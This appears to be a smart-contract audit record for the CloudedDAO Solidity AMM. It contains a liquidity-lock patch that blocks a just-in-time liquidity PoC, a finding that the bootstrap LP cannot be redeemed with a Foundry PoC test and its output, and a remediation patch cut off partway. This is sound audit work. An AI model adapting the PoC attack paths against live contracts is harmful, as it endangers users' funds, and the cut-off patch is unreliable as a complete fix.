     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
+    uint256 private constant LIQUIDITY_LOCK_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
+    mapping(address => uint256) private liquidityUnlockAt_;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
 
         uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
         uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
 
         if (_daoOut > 0 && _daoOut >= _minDaoOut) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
+        liquidityUnlockAt_[msg.sender] = block.timestamp + LIQUIDITY_LOCK_PERIOD;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
+        require(block.timestamp >= liquidityUnlockAt_[msg.sender], "Liquidity locked");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
             oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
             oracleCumulative_ = priceCumulative_;
             oracleUpdatedAt_  = _timestamp;
         }
     }
 }
\ No newline at end of file

Affected files

  • src/CloudedDAO.sol
  • CloudedDAO.sol

Validation output

[output truncated: 1143 lines & 64.50390625 KB skipped]
Ran 1 test suite in 125.26ms (123.62ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: Liquidity locked] test_jitLiquidityCanBeAddedBeforeSwapAndRemovedAfterCapturingFeeBearingReserves() (gas: 642163)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Bootstrap liquidity has no redemption path

High#298784Validity: Unreviewed

Comment:

By design. The bootstrap LP is permanently locked to ensure the pool can never be fully drained, preserving a minimum level of liquidity at all times.

Source locations

Uploaded archive/CloudedDAO.sol (3 locations)

Lines 76-81 — _LP ownership is a bespoke non-transferable mapping._

    uint256 public pendingHYPE;
    uint256 public reserveHYPE;
    uint256 public reserveDAO;
    uint256 public totalLP;

    mapping(address => uint256) public lpOf;
⋯ code omitted for brevity ⋯

Lines 184-198 — _self-minted seed LP with no withdrawal path_

    function buyBack() external payable nonReentrant isJury {
        pendingHYPE += msg.value;

        if (totalLP == 0) {
            uint256 _initialAmount = pendingHYPE;
            _mint(address(this), _initialAmount);
            pendingHYPE         -= _initialAmount;
            reserveHYPE         += _initialAmount;
            reserveDAO          += _initialAmount;
            totalLP             += _initialAmount;
            lpOf[address(this)] += _initialAmount;
            priceUpdatedAt_  = block.timestamp;
            oracleUpdatedAt_ = block.timestamp;
            oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
        }
⋯ code omitted for brevity ⋯

Lines 249-271 — _removeLiquidity only callable by the LP holder as msg.sender_ — _LP removal is keyed to msg.sender's lpOf balance and contains no protocol-LP recovery path._

    function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
        require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
        require(block.timestamp <= _deadline, "Expired");

        hype = _lp * reserveHYPE / totalLP;
        dao  = _lp * reserveDAO / totalLP;
        require(hype > 0 && dao > 0, "Zero output");
        require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");

        _updateBuyBackOracle();

        lpOf[msg.sender] -= _lp;
        totalLP          -= _lp;
        reserveHYPE      -= hype;
        reserveDAO       -= dao;

        _update(address(this), msg.sender, dao);

        (bool _success, ) = msg.sender.call{value: hype}("");
        require(_success, "HYPE transfer failed");

        emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
    }

Description

On the first buyBack, when totalLP == 0, the contract credits the bootstrap LP position to lpOf[address(this)] while adding the same amount to totalLP and the pool reserves. removeLiquidity permits redemption only when lpOf[msg.sender] covers the requested LP amount, so an ordinary caller cannot redeem the contract-owned position. The provided code exposes no path by which the contract exercises that position or by which a privileged party recovers it. Consequently, the initial LP claim remains in totalLP indefinitely and continues to represent an unrecoverable fraction of the reserves.

Root cause

buyBack assigns bootstrap LP to address(this), but the caller-bound removeLiquidity flow provides no protocol-controlled redemption path for that balance.

Impact

The HYPE and DAO reserve share represented by the bootstrap LP cannot be withdrawn, redirected, or recovered during a migration or wind-down. As the pool grows, value attributable to that permanently held LP position also remains inaccessible, and user LPs can redeem only their proportional share of totalLP.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal lp = makeAddr("ordinary-lp");
    address internal stranger = makeAddr("stranger");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(lp, 100 ether);
        vm.deal(stranger, 100 ether);

        // Public minting is the real protocol path that lets CloudedJury call
        // CloudedDAO.buyBack(). The first buyBack bootstraps the DAO AMM pool.
        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
    }

    function test_bootstrapLiquidityIsPermanentlyCallerInaccessible() public {
        uint256 bootstrapLP = dao.lpOf(address(dao));
        assertGt(bootstrapLP, 0, "first buyBack credited LP to the DAO contract itself");
        assertEq(dao.totalLP(), bootstrapLP, "bootstrap LP is counted in total pool supply");
        assertEq(dao.reserveHYPE(), bootstrapLP, "bootstrap LP represents seeded HYPE reserves");
        assertEq(dao.reserveDAO(), bootstrapLP, "bootstrap LP represents seeded DAO reserves");

        // An ordinary user obtains DAO through the public AMM and supplies their own
        // public liquidity. This proves the self-owned bootstrap LP dilutes real LPs.
        vm.startPrank(lp);
        (, uint256 minDaoOut) = dao.quoteHYPEForDAO(0.01 ether, 0);
        dao.swapHYPEForDAO{value: 0.01 ether}(minDaoOut, block.timestamp);

        uint256 daoForLiquidity = dao.balanceOf(lp);
        (, uint256 hypeNeeded,,,) = dao.quoteAddLiquidity(100 ether, daoForLiquidity);
        uint256 lpHypeBefore = lp.balance;
        uint256 daoReservesBeforeRemove;
        uint256 hypeReservesBeforeRemove;
        dao.addLiquidity{value: hypeNeeded}(daoForLiquidity, 0, block.timestamp);
        uint256 userLP = dao.lpOf(lp);
        vm.stopPrank();

        assertGt(userLP, 0, "ordinary user added real LP beside bootstrap LP");
        assertEq(dao.lpOf(address(dao)), bootstrapLP, "contract-owned bootstrap LP remains after user LP mint");
        assertEq(dao.totalLP(), bootstrapLP + userLP, "contract-owned LP permanently dilutes the user's share");

        // The user can withdraw only their own LP. A residual fraction of both reserves
        // remains represented solely by lpOf[address(dao)].
        (hypeReservesBeforeRemove, daoReservesBeforeRemove,) = dao.getPool();
        vm.prank(lp);
        dao.removeLiquidity(userLP, 0, 0, block.timestamp);

        assertLt(lp.balance, lpHypeBefore, "user did not recover all HYPE they put into the AMM");
        assertEq(dao.totalLP(), bootstrapLP, "after all user LP exits, only bootstrap LP remains in totalLP");
        assertEq(dao.lpOf(address(dao)), bootstrapLP, "the remaining LP holder is the DAO contract address");
        assertLt(dao.reserveHYPE(), hypeReservesBeforeRemove, "user removed their proportional HYPE share");
        assertLt(dao.reserveDAO(), daoReservesBeforeRemove, "user removed their proportional DAO share");
        assertGt(dao.reserveHYPE(), 0, "HYPE reserve remains trapped behind self-owned LP");
        assertGt(dao.reserveDAO(), 0, "DAO reserve remains trapped behind self-owned LP");

        // removeLiquidity is keyed to msg.sender. An external caller cannot redeem the
        // LP balance that belongs to address(dao), and the contract exposes no on-behalf
        // or administrative recovery function for that mapping entry.
        vm.prank(stranger);
        vm.expectRevert(bytes("Insufficient LP"));
        dao.removeLiquidity(bootstrapLP, 0, 0, block.timestamp);
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1180 lines & 64.2041015625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_bootstrapLiquidityIsPermanentlyCallerInaccessible() (gas: 418583)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.18ms (385.38µs CPU time)

Ran 1 test suite in 11.37ms (2.18ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC compiles and passes with unit:test-poc-t-sol (forge test --match-path test/Poc.t.sol -vv). It demonstrates the real path CloudedJury.mint() -> CloudedDAO.buyBack() bootstrapping LP to lpOf[address(dao)], public AMM liquidity addition/removal, residual reserves backing only the self-owned LP, and failed external redemption via removeLiquidity. It does not prove absolute absence of every possible future migration strategy outside the deployed code; it proves the shipped public/external API has no caller path to redeem the self-owned mapping entry.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Bootstrap LP is assigned to the jury coordinator, and authorized governance can transfer that protocol-owned LP to a nonzero recovery recipient. The recipient can then use the existing caller-bound removeLiquidity function, eliminating the unrecoverable self-owned position without changing ordinary LP redemption.

Patch

diff
diff --git a/src/CloudedDAO.sol b/src/CloudedDAO.sol
--- a/src/CloudedDAO.sol
+++ b/src/CloudedDAO.sol
@@ -1,362 +1,368 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
